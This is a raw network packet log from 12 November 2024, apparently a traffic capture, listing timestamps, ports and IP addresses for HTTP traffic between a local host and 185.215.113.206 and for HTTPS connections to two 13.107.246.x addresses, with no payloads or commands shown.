Nov 12, 2024 10:37:30.617461920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617502928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617538929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617552042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617572069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617587090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617659092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617670059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617696047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617774963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617794991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617830992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617850065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617861986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617894888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.635516882 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.636054993 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.636084080 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.636526108 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.636532068 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.654752016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.654812098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.654814005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.654916048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655059099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655101061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655128002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655138969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655169010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655236959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655270100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655308962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655323982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655334949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655349016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655361891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655538082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655586004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655599117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655611038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655637980 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.655791044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.655818939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.656047106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656095028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.656105995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656133890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656160116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.656229019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656239986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656250000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656263113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656265020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.656286955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.656313896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.656855106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656866074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656877041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.656919956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.659192085 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.659744978 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.659764051 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.660187960 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.660197020 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.671525955 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.671552896 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.671603918 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.671628952 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.671641111 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.671701908 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.695410967 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.697408915 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.697427988 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.697868109 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.697875023 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.702141047 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.702176094 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.702208042 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.702229977 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.702244997 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.702336073 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.703619957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.703646898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.703656912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.703672886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.703705072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.703705072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.704488993 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.705101013 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.705121040 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.705503941 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.705509901 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.734343052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734359980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734400988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734427929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734441042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734453917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734472990 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734489918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734517097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734555006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734714985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734740973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734761000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734781981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734855890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734869003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.734914064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.734977961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.735019922 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.744548082 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.745085001 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.745102882 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.745502949 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.745507956 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.771605968 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.771667957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.771709919 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.771723986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.771740913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.771783113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.771785975 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.771804094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.771822929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.771898985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.771909952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.771949053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.772192955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772207975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772248030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.772376060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772422075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772437096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.772464991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.772528887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772541046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772552967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772567034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.772584915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.772732019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.772775888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.773204088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773242950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773266077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.773292065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.773318052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773332119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773360014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.773370981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.773497105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773508072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773519993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773530960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.773545027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.773574114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.774105072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.774152994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.774195910 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.774218082 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.774230003 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.774235964 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.793107033 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.793169022 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.793256998 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.796307087 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.796319962 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.796331882 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.796336889 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.798628092 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.798660040 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.798715115 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.799408913 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.799422979 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.801062107 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.801091909 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.801148891 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.801487923 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.801500082 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.819730043 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.819806099 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.819816113 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.819840908 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.819866896 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.819885015 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.822108984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.822175026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.822232962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.822243929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.822285891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.822295904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.827024937 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.827060938 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.827097893 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.827107906 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.827137947 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.827383041 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.827394009 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.827419043 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.827425003 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.830168009 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.830198050 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.830408096 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.834491968 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.834506035 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.835139990 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.835208893 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.835278034 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.835398912 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.835408926 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.838505030 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.838536024 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.838762045 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.838875055 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.838887930 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.850965023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.850984097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.850996017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851021051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851023912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851044893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851063967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851145983 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851155043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851178885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851197958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851275921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851284027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851319075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851473093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851516962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851577997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851591110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851614952 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851624012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.851670027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851680040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.851721048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.862612963 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.862634897 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.862723112 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.862723112 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.862741947 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.862777948 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.876754045 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.876775980 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.876816034 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.876830101 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.876880884 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.878245115 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.878252983 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.887474060 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.887505054 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.887564898 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.888062954 CET	49903	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.888077021 CET	443	49903	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.888995886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889015913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889028072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889094114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889105082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889105082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889174938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889180899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889193058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889230013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889354944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889378071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889415026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889441967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889477015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889523983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889575005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889585972 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889626026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889700890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889774084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889786005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889815092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889838934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.889882088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.889920950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890381098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890433073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890459061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890471935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890503883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890628099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890639067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890655041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890666008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890666962 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890698910 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890714884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890886068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890898943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.890924931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.890940905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.891066074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.891112089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.935605049 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.935632944 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.935724974 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.935760021 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.935798883 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.937433004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.937485933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.937496901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.937511921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.937553883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.967977047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968036890 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968072891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968085051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968108892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968132019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968141079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968151093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968174934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968189001 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968231916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968244076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968276978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968779087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968822002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968859911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968873024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.968904018 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.968996048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.969007969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.969041109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.979481936 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.979537010 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.979573965 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.979578018 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.979636908 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:31.005943060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.005961895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.005973101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:31.005978107 CET	49887	443	192.168.2.6	13.107.246.57
